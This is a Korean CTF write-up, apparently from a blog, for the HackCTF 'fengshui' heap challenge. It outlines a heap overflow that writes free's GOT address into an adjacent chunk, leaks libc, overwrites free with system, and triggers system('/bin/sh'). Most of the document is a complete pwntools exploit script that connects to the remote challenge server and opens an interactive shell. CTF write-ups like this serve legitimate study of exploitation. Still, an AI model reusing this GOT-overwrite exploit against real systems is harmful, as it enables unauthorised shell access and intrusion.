# protection tech/file info
# process
1. 3개의 heap 할당
Add(10, ‘A’*10, 10, ‘B’*10)
Add(10, ‘A’*10, 10, ‘B’*10)
Add(10, ‘A’*10, len(binsh), binsh)) -> one gadget 사용할 경우 필요 X
free의 got를 system으로 덮어서 system(“/bin/sh”)를 트리거할 것
마지막 heap의 description에는 “/bin/sh” 넣어놓음
2. 0번 free
– unsorted bin에 등록됨
3. heap overflow
pay = ‘A’*120 + 0x10 + 0x10 + p32(free_got)
0번 생성 시 1의 UserInfo->desc에 free got 넣음 => heap overflow
fgets 함수로 입력받기 때문에 가능
4. 1번 display
- libc leak
5. 1번 update_desc
- one_gadget 또는 system으로 덮는다.
free got에 가보면 덮힌 것 확인 가능하다.
6. 1번 메뉴 delete
- free의 got가 system으로 덮혔으므로 2번 청크 store->desc에 “/bin/sh”있어서 free 시 system(“/bin/sh”) 실행
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./fengshui")
p = remote("ctf.j0n9hyun.xyz", 3028)
#gdb.attach(p)
elf = ELF("./fengshui")
libc = ELF("./libc.so.6")
binsh = "/bin/sh"
free_got = elf.got['free']
def add(size, name, length, desc):
p.sendlineafter("Choice: ", '0')
p.sendlineafter("Size of description: ", str(size))
p.sendlineafter("Name: ", name)
p.sendlineafter("Text length: ", str(length))
p.sendafter("Text: ", desc)
def delete(index):
p.sendlineafter("Choice: ", '1')
p.sendlineafter("Index:" , str(index))
def display(index):
p.sendlineafter("Choice: ", '2')
p.sendlineafter("Index: ", str(index))
def update(index, length, desc):
p.sendlineafter("Choice: ", '3')
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Text length: ", str(length))
p.sendafter("Text: ", desc)
add(10, 'A'*10, 10, 'B'*10)
add(10, 'A'*10, 10, 'B'*10)
add(10, 'A'*10, len(binsh), binsh)
delete(0)
pay = 'A'*(120+0x10+0x10) + p32(free_got)
add(120, 'A'*120, len(str(pay)), pay)
#gdb.attach(p)
# libc leak
display(1)
p.recvuntil("Description: ")
free = u32(p.recv(4))
log.info("free : "+hex(free))
libcBase = free - libc.symbols['free']
system = libcBase + libc.symbols['system']
# GOT overwrite
update(1, 4, p32(system))
delete(2)
p.interactive()
# exploit
[HackCTF] World best encryption tool (0) | 2020.03.09 |
---|---|
[HackCTF] babyheap (0) | 2020.03.09 |
[HackCTF] Register (0) | 2020.02.10 |
[HackCTF] RTC (0) | 2020.02.03 |
[HackCTF] You are silver (0) | 2020.01.31 |